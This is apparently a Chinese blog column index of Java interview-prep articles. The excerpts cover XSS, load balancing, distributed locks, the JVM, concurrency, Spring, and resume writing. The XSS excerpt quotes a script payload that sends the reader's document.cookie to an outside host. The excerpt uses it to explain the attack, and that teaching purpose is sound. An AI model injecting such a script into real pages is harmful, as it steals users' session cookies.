
程序员面试技巧
文章平均质量分 89
在这里你可以学会如何跳槽,如何涨薪水,如何面试,如何写简历,如何刷题。
Lsa_BigDevil
从事软件编程多年,主要擅长的领域有,视频处理,图像分析,数据分析,结构算法,系统集成和架构等。擅长的语言C++,JAVA。好的编程思想能带你走向一个新的编程高度,欢迎小伙伴一起探讨学习 QQ: 531501826
展开
-
java攻击原理面试
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>之后该内容可能会被渲染成以下形式:<p><script>location.href="//原创 2022-07-02 13:46:06 · 315 阅读 · 0 评论 -
集群面试详解
集群中的应用服务器(节点)通常被设计成无状态,用户可以请求任何一个节点。负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。负载均衡器可以用来实现高可用以及伸缩性:负载均衡器运行过程包含两个部分:1. 轮询(Round Robin)轮询算法把每个请求轮流发送到每个服务器上。下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1,(2, 4, 6) 的请求会被发送到服务器 2。该算法原创 2022-07-02 13:42:08 · 208 阅读 · 0 评论 -
分布式面试详解
在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。阻塞锁通常使用互斥量来实现:1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。获得锁时向表中插入一条记录,释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否处于锁定状态。存在以下几个问题:使用 SETNX(set if not exist)指令插入一个键值对,如果 Key 已经存在,那么会返回 False,否则插入成功并原创 2022-06-30 11:26:03 · 430 阅读 · 0 评论 -
Java IO 面试详解
Java 的 I/O 大概可以分成以下几类:File 类可以用于表示文件和目录的信息,但是它不表示文件的内容。递归地列出一个目录下所有文件:public static void listAllFiles(File dir) { if (dir == null || !dir.exists()) { return; } if (dir.isFile()) { System.out.println(dir.getName()); retu原创 2022-06-29 16:31:13 · 355 阅读 · 0 评论 -
java虚拟机详解
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程,对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小,在 JDK 1.4 中默认为 256K,而在 JDK 1.5+ 默认为 1M:java -Xss2M HackTheJava该区域可能抛出以下异常:本地方法栈与 Java 虚原创 2022-06-29 16:25:59 · 538 阅读 · 0 评论 -
Java 并发详解<三>
多个线程不管以何种方式访问某个类,并且在主调代码中不需要进行同步,都能表现正确的行为。线程安全有以下几种实现方式:不可变(Immutable)的对象一定是线程安全的,不需要再采取任何的线程安全保障措施。只要一个不可变的对象被正确地构建出来,永远也不会看到它在多个线程之中处于不一致的状态。多线程环境下,应当尽量使对象成为不可变,来满足线程安全。不可变的类型:对于集合类型,可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。public class Immutab原创 2022-06-28 13:33:18 · 184 阅读 · 0 评论 -
Java 并发详解<二>
当多个线程可以一起工作去解决某个问题时,如果某些部分必须在其它部分之前完成,那么就需要对线程进行协调。在线程中调用另一个线程的 join() 方法,会将当前线程挂起,而不是忙等待,直到目标线程结束。对于以下代码,虽然 b 线程先启动,但是因为在 b 线程中调用了 a 线程的 join() 方法,b 线程会等待 a 线程结束才继续执行,因此最后能够保证 a 线程的输出先于 b 线程的输出。public class JoinExample { private class A extends Thre原创 2022-06-28 13:30:09 · 305 阅读 · 0 评论 -
Java 并发详解<一>
有三种使用线程的方法:实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务,不是真正意义上的线程,因此最后还需要通过 Thread 来调用。可以理解为任务是通过线程驱动从而执行的。需要实现接口中的 run() 方法。public class MyRunnable implements Runnable { @Override public void run() { // ... }}使用 Runnable 实例再创建一个 T原创 2022-06-28 13:22:30 · 133 阅读 · 0 评论 -
java基础知识面试题目
八大基本数据类型基本数据类型转换关系:byte→short(char)→int→long→float→double所谓包装类,就是能够直接将简单类型的变量表示为一个类,在执行变量类型的相互转换时,我们会大量使用这些包装类。以下用途new Integer(123) 与 Integer.valueOf(123) 的区别在于:缓冲池包装类型内存使用 private static class IntegerCache,声明一个内部使用的缓存池在 jdk 1.8 所有的数值类缓冲池中,Integer 的缓冲池原创 2022-06-24 09:07:32 · 295 阅读 · 0 评论 -
Java分布式事务之基础篇
数据库事务(简称:事务),是数据库管理系统执行过程中的一个逻辑单位,由一个有限的数据库操作序列构成,这些操作要么全部执行,要么全部不执行,是一个不可分割的工作单位。数据库事务的几个典型特性:原子性(Atomicity )、一致性( Consistency )、隔离性( Isolation)和持久性(Durabilily),简称就是ACID。传统的单服务器,单关系型数据库下的事务,就是本地事务。本地事务由资源管理器管理,JDBC事务就是一个非常典型的本地事务。 innodb事务日志包括redo log和und原创 2022-06-22 16:51:13 · 406 阅读 · 0 评论 -
Java集合面试详解
可以从它们的底层数据结构、效率、开销进行阐述哈Collection.sort是对list进行排序,Arrays.sort是对数组进行排序。Collections.sort底层实现Collections.sort方法调用了list.sort方法 list.sort方法调用了Arrays.sort的方法 因此,Collections.sort方法底层就是调用的Array.sort方法Arrays.sort底层实现Arrays的sort方法,如果比较器为null,进入sort(a)方法。如下: 因此,Arr原创 2022-06-22 16:43:53 · 410 阅读 · 0 评论 -
程序员面试十大建议
专业知识是最为重要的一点,拥有了坚实的专业基础,你才能迈向成功的彼岸。因此,面试之前,一定一定要复习好专业知识。对自己学过的知识,要做一个概括,放在脑海中。茶余饭后,复习一下,做到随便看到一道基础题目,心中都能有个答案。比如,一道最基本基础题,ArrayList和LinkedList有什么区别?如果你是做Java后台开发的,应该都会了吧。你在简历上的信息,就是面试官了解你的窗口。你写上去的项目,自己一定一定要了解清楚来龙去脉。如果把别人很厉害的项目copy上去,面试官一问你三不知,那就露馅啦~同时,简历上需原创 2022-06-22 15:35:50 · 238 阅读 · 0 评论 -
Java学习书单
1、Java编程思想本书赢得了全球程序员的广泛赞誉,即使是最晦涩的概念,作者都会用小而直接的编程示例讲解明白。从Java的基础语法到最高级特性(深入的面向对象概念、多线程、自动项目构建、单元测试和调试等),本书都能逐步指导你轻松掌握。这是一本从工作原理和工程实践两个维度深入剖析JVM的著作,是计算机领域公认的经典。3、Head First 设计模式本书涵盖了23个设计模式,例子简单易懂,抛砖引玉,读起来很有意思的。真的是一本非常赞的设计模式入门书籍4、Effective java本书一共包含90个条目,每个原创 2022-06-21 13:22:58 · 612 阅读 · 0 评论 -
Java之Spring Boot面试总结
spring boot 面试技巧原创 2022-06-20 17:26:43 · 163 阅读 · 0 评论 -
Java之Spring面试总结
1,什么是 Spring 框架?Spring 是一款开源的轻量级 Java 开发框架,旨在提高开发人员的开发效率以及系统的可维护性。我们一般说 Spring 框架指的都是 Spring Framework,它是很多模块的集合,使用这些模块可以很方便地协助我们进行开发。比如说 Spring 自带 IoC(Inverse of Control:控制反转) 和 AOP(Aspect-Oriented Programming:面向切面编程)、可以很方便地对数据库进行访问、可以很方便地集成第三方组件(电子邮件,任务,原创 2022-06-20 17:10:33 · 231 阅读 · 0 评论 -
程序员如何写简历之项目篇(二)
1,程序员面试通用项目介绍 2,程序员面试通用后端项目介绍 3,程序员面试通用移动端和前端介绍原创 2022-06-18 13:40:47 · 3898 阅读 · 0 评论 -
程序员如何写简历之简介篇(一)
1,程序员简历通用简介 2,程序员通用简历后端简介 3,程序员通用简历前端与移动端简介原创 2022-06-18 13:30:36 · 2799 阅读 · 0 评论